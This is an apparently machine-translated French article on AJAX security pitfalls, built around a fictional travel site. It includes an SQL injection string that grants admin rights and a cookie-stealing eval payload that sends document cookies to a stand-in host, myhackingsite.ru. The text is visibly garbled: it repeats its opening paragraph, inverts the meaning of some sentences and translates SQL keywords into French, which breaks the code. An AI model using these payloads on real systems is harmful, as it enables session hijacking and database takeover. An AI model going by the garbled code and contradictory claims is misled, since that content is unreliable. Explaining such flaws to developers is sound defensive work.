Les développeurs Web ne remarqueront pas l'enthousiasme apporté par "AJAX (Asynchronous JavaScript And XML)". Créer des sites Web intelligents comme Google Suggest ou des applications Web comme Gmail se fait sans effort, en grande partie grâce à cette technologie. Cependant, avec le développement des applications AJAX, nous avons découvert certaines de ses lacunes, et nous avons constaté que ses failles de sécurité s'agrandissaient progressivement, tout comme le fait de transformer lentement le site basé sur AJAX en une bombe à retardement. Les développeurs Web ne remarqueront pas l'enthousiasme apporté par "AJAX (Asynchronous JavaScript And XML)". Créer des sites Web intelligents comme Google Suggest ou des applications Web comme Gmail se fait sans effort, en grande partie grâce à cette technologie. Cependant, avec le développement des applications AJAX, nous avons découvert certaines de ses lacunes, et nous avons constaté que ses failles de sécurité s'agrandissaient progressivement, tout comme le fait de transformer lentement le site basé sur AJAX en une bombe à retardement.
Avantages d'AJAX
Au bon vieux temps des « web apps », les choses étaient assez simples. Vous remplissez un formulaire, cliquez sur le bouton « Envoyer » et l'écran actuel disparaît, attendant un peu avant d'être transféré à la page suivante. Ce n’est plus le cas aujourd’hui. Ce que veulent les utilisateurs, c’est une expérience Web aussi fluide, rapide et conviviale que n’importe quelle application de bureau.
AJAX fonctionne souvent avec DHTML (HTML dynamique) et son exécution fluide nécessite de permettre au code JavaScript de la page Web et au serveur Web de communiquer de manière transparente en arrière-plan. Par exemple, lorsque vous commencez à taper quelque chose dans le champ de recherche Google Suggest, la page Web et le serveur commencent à échanger des données en arrière-plan, puis certains termes dont vous pourriez avoir besoin seront indiqués. Tout cela sans nécessiter une actualisation de la page ni appuyer sur aucun bouton. C’est également la raison pour laquelle des applications comme Gmail font un si bon travail en matière de vérification orthographique en temps réel.
Comment fonctionne AJAX
Les principes complexes d'AJAX dépassent le cadre de ce que je souhaite expliquer aujourd'hui, je ne les décrirai donc que brièvement ici. Le code JavaScript de votre page peut contacter votre serveur Web sans dépendre de l'utilisateur. Le rôle principal ici est l'objet XMLHttpRequest de JavaScript, qui peut être déclenché en arrière-plan ou de manière asynchrone par des événements tels que les frappes de l'utilisateur ou les événements d'horloge (c'est-à-dire le terme JavaScript et XML asynchrones).
Si vous tapez « ajax » dans Google Suggest, vous obtiendrez une requête de serveur comme celle que j'ai reçue après avoir tapé :
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
La partie XML de cette terminologie est un peu trompeuse ; elle n'a en réalité aucune signification. Il tire son nom de l'objet JavaScript et de nombreuses applications de style AJAX utilisent XML, qui peut adresser une requête au serveur pour n'importe quelle transaction. Même le code JavaScript lui-même peut être récupéré et évalué. Continuer à compléter ma saisie de « exemple ajax » produira la réponse suivante des serveurs de Google :
sendRPCDone(frameElement, "exemple ajax", new Array("exemple ajax", "exemples ajax"), new Array("153 000 résultats", "177 000 résultats"), new Array(""));
Cela devrait vous donner une idée de la puissance d'AJAX, avec sa capacité à ajouter du nouveau code JavaScript au navigateur à la volée. Cependant, l'approche optimale semble lier le protocole XML. Pour donner un exemple, par exemple, Google a produit ce qui suit :
exemple ajax
153 000
exemples ajax
177 000
Évidemment, vous pouvez analyser ces données XML sous une forme appropriée, mais nous devons remercier JavaScript pour sa capacité à très bien gérer les objets XML sous certaines contraintes très typiques et de nombreux bugs désagréables d'IE.
Afin de vous aider à comprendre certains problèmes d'Ajax, je suis ici pour vous présenter une agence de voyage imaginaire - "Times Cutting Edge Travel Company". Poussé par un bug AJAX, leur développeur Web principal, Max Uptime, a décidé de mélanger AJAX afin de créer une application comme celle-ci. De cette façon, il était en avance sur son temps.
Problème AJAX
Plus de la moitié des risques de sécurité AJAX proviennent de vulnérabilités cachées dans le serveur. De toute évidence, une bonne conception utilisant des techniques de codage sécurisées contribue grandement à rendre AJAX plus sécurisé, et nous devons remercier Max pour sa familiarité avec la liste des 10 pires vulnérabilités de sécurité des applications Web de l'Open Web Application Security Project (OWASP) ( www. owasp.org ). Malheureusement, lorsque Max a implémenté AJAX, il a dû faire face à un certain nombre de facteurs supplémentaires :
1. Nouvelle technologie : Si Max voulait connecter son site à une base de données SQL, il trouvait des millions d'exemples sur Google. La technologie AJAX, aussi jeune soit-elle, est encore relativement précoce dans le cycle d'approvisionnement, même si seuls quelques bons exemples apparaissent sur le Web. Afin de résoudre certains problèmes complexes difficiles et inutiles, cela nécessite que des développeurs comme Max se développent de manière indépendante. Max devrait écrire du code côté serveur et côté client, créant des protocoles dont il n'était pas sûr (en particulier pour les réponses du serveur). Quelle que soit la qualité de ces accords, ils seront reflétés sur la page au fil du temps.
2. Conception non traditionnelle : AJAX est un peu différent de la conception traditionnelle car une telle application est moitié client et moitié serveur. Dans le cas de Max, il est le seul développeur, il peut donc coder à la fois pour le serveur et pour le client. Développer dans deux langages différents en même temps (surtout au début) créera des erreurs de codage rudimentaires, car cela fera des allers-retours entre deux extrémités. Ce qui est génial à une extrémité peut ne pas fonctionner de manière compétente à l'autre. . Même si Max dispose d'une grande équipe de développement, des responsabilités de codage de sécurité peuvent survenir lorsque le code est transféré entre les équipes de développement du serveur et du client.
3. Trop de langages de script : Max a utilisé sa propre ingéniosité pour décider de créer le meilleur outil d'enregistrement de voyage au monde. Vous commencez l'inscription en saisissant votre position actuelle (via le code postal, l'indicatif régional du téléphone, le GPS, etc.) et une requête AJAX est immédiatement envoyée pour déterminer votre position exacte. À partir de ce moment, l'écran se remplit de toutes les options de voyage qui s'offrent à vous, avant même que vous décidiez où vous voulez aller, quand vous voulez partir et avec qui vous voulez partir.
Les cellules et les contrôles de cet écran sont tous pilotés par AJAX, et les scripts côté serveur et côté client peuvent nécessiter plus de 20 appels de serveur différents. Vous pouvez imaginer un petit programme serveur individuel, tel que findairportsbylocation.aspx ou déterminemaxbaggageallowancebyairline.php.
Il est devenu évident que sans une planification minutieuse de Max (comme la création de fonctions JavaScript et de scripts de serveur polyvalents « surchargés »), il aurait créé plus de 40 pièces distinctes pour chaque conception. Plus de programmation signifie plus d'erreurs et de bugs, ce qui signifie plus de temps pour écrire, gérer, tester et mettre à jour le code. Non seulement cela, mais en raison du grand nombre de ces scripts utilisés dans le code JavaScript côté client, ils ont également tendance à devenir très oublieux lors des tests formels du programme.
4. Assurez-vous qu'une petite quantité d'AJAX ne causera pas de dommages : Ce site est un site de planification de voyage, mais Max pense qu'il vous fournira immédiatement une vue satellite montrant la localisation précise et les conditions météorologiques de votre destination. . Également à votre disposition. L'une des grandes tentations d'AJAX est qu'il semble faire autre chose jusqu'à la dernière minute, comme l'explique un commentateur, en utilisant AJAX pour le bien d'AJAX. Lorsque Max commencera à tester ses nouvelles idées, il essaiera progressivement d'ajouter de nouvelles fonctionnalités, ignorant complètement la nécessité de tester.
5. Communication non sécurisée : chaque appel AJAX ne peut renvoyer qu'une petite quantité de données au client, mais ces données sont privées et confidentielles. Max peut écrire un outil pratique pour vérifier numériquement vos numéros de carte de crédit, mais que se passe-t-il si vous utilisez plutôt du texte brut via SSL pour envoyer les données ? C'est une question évidente, mais lorsqu'il y a de nombreuses routines à prendre en compte, en particulier lorsque les 99 % restants ? les données à l'écran ne sont pas des données véritablement confidentielles, il est facile d'ignorer SSL.
6. Contrôle d'accès côté serveur : L'utilisation de programmes JavaScript pour déclencher AJAX masque souvent des erreurs de codage évidentes. Le contrôle d'accès côté serveur en est un exemple. Supposons que Max souhaite vous fournir votre hôtel préféré en fonction d'une destination détaillée que vous avez visitée la dernière fois. Il pourrait ressembler à ceci :
showprevioushotels.aspx?userid=12345&destination=UK
C'est bien sûr très bien, mais que se passe-t-il si un utilisateur malveillant modifie l'URL en quelque chose comme ceci :
showprevioushotels.aspx?userid=12346&destination=%
Vont-ils obtenir les hôtels préférés des autres ? (Remarque : % est un caractère générique dans l'instruction SQL). Il s’agit sans aucun doute d’un exemple inoffensif, mais Max doit utiliser des sessions, des cookies ou d’autres jetons pour garantir que les données peuvent et ne soient envoyées qu’au bon utilisateur. Ils ne représentent peut-être qu’une petite partie des données, mais ils peuvent en être la partie la plus importante.
7. Validation côté serveur : il y a en fait deux problèmes ici. Premièrement, les contrôles AJAX sont souvent utilisés pour valider les entrées de l'utilisateur avant leur soumission finale au serveur. Cela paralyse Max et lui donne un faux sentiment de sécurité car il met en place une fonction appelée Alloweddestinations.php qui détermine la bonne destination pour l'utilisateur en fonction de son identifiant.
Puisqu'il s'agit d'une vérification côté serveur, il n'a pas à s'inquiéter de refaire la vérification sur le serveur lorsque la page est finalement soumise. Nous supposons qu'aucun utilisateur malveillant ne peut détourner la réponse de Alloweddestinations.php ou détruire la requête finale. la demande du serveur.
Les contrôles AJAX peuvent valider les entrées de l'utilisateur avec plus de soin que l'utilisateur lui-même, mais ils effectuent souvent la validation finale sur le serveur.
Le deuxième problème avec la validation AJAX est que le contrôle lui-même est soumis à des vulnérabilités de validation. Encore une fois, les URL sont souvent masquées et donc souvent oubliées. Par exemple, je peux peut-être utiliser l'injection SQL pour attaquer le script tout de suite, comme suit :
showprevioushostels.aspx?userid='; mettre à jour les utilisateurs défini type='admin' où userid=12345;--
Cela me permettra de me connecter avec les droits d'administrateur système. Bien sûr, comment obtenir ces noms de tables et de champs dépasse le cadre de cet article, mais vous connaissez déjà cette situation, n'est-ce pas ?
8. Vérification côté client : nous savons déjà que dans l'exemple Google Suggest que nous venons de citer, il est possible de créer et d'exécuter dynamiquement des fonctions JavaScript en évaluant simplement la réponse côté serveur. Sans aucune forme de validation (ce qui serait difficile de garantir la fiabilité et la fluidité du côté client), le client fera simplement ce que le serveur lui demande.
Dans ce cas, étant donné que l'exécution réelle du code n'est jamais visible pour un utilisateur normal (c'est-à-dire que vous ne pouvez pas "afficher la source"), cela ouvre potentiellement une voie d'attaque complète pour les pirates malveillants. Si la réponse du serveur est constamment falsifiée (soit sur le serveur Web lui-même, soit lors du transfert de données), cette attaque sera difficile à détecter.
Max utilise la réponse suivante pour mettre à jour l'icône météo sur la page Web de destination. La fonction qu'il utilise est la fonction eval();
updateWeatherIcon('cloudy.gif');
Cependant, un cracker malveillant peut modifier cette fonction sous la forme suivante, rendant l'attaque plus difficile à détecter :
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
Nous sommes désormais en mesure de suivre l'ID de session/le cookie de chaque utilisateur sur nos propres serveurs.
résumé
Il ne fait aucun doute qu’AJAX et les technologies de type AJAX constituent la voie brillante vers la conception Web. Les développeurs peuvent créer de véritables « applications » sur le Web qui n'auraient jamais été possibles auparavant, mais il faut faire attention lors de l'utilisation d'AJAX pour garantir la sécurité du site Web.
Cependant, l'une des plus grandes menaces provient des scripts côté client et des scripts côté serveur de plus en plus sophistiqués qui utilisent AJAX. Ces scripts sont cachés par des moyens techniques, ce qui rend les tests peu intuitifs. En même temps, cette nouvelle technologie semble également faire oublier aux développeurs Web les bases d'un bon codage. Les problèmes tels que le contrôle d’accès et la validation des entrées ne disparaissent pas, ils deviennent de plus en plus nombreux et complexes.
-